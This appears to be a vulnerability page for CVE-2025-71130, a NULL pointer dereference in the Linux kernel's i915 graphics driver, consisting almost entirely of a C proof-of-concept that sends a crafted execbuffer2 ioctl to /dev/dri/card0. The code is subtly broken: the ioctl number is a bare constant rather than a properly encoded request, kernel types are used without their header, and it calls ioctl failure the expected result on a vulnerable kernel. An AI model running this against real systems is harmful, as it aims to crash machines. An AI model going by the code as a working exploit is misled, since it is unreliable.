Linux内核drm/i915/gem空指针解引用漏洞(CVE-2025-71130)

// CVE-2025-71130 PoC - Linux Kernel drm/i915 NULL Pointer Dereference // This is a conceptual PoC demonstrating the vulnerability trigger condition // Requires local access with low privileges #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // i915 DRM ioctl definitions #define DRM_IOCTL_I915_GEM_EXECBUFFER2 0x29 struct drm_i915_gem_execbuffer2 { __u64 buffers_ptr; __u32 buffer_count; __u32 batch_start_offset; __u32 batch_len; __u32 DR1; __u32 DR4; __u32 num_cliprects; __u64 cliprects_ptr; __u32 flags; __u64 rsvd1; }; struct drm_i915_gem_exec_object2 { __u32 handle; __u32 relocation_count; __u64 relocs_ptr; __u64 alignment; __u64 offset; __u64 flags; }; int main() { int fd; struct drm_i915_gem_execbuffer2 execbuf; struct drm_i915_gem_exec_object2 exec_objects[2]; printf("CVE-2025-71130 PoC - i915 gem execbuffer NULL deref\n"); // Open i915 DRM device fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } memset(exec_objects, 0, sizeof(exec_objects)); memset(&execbuf, 0, sizeof(execbuf)); // Setup execbuffer to trigger eb_add_vma failure condition execbuf.buffers_ptr = (unsigned long)exec_objects; execbuf.buffer_count = 2; execbuf.batch_start_offset = 0; execbuf.batch_len = 4096; // Trigger the vulnerability via crafted ioctl call // The actual exploitation requires specific memory conditions if (ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, &execbuf) < 0) { printf("ioctl call failed (expected in vulnerable kernel)\n"); } close(fd); return 0; }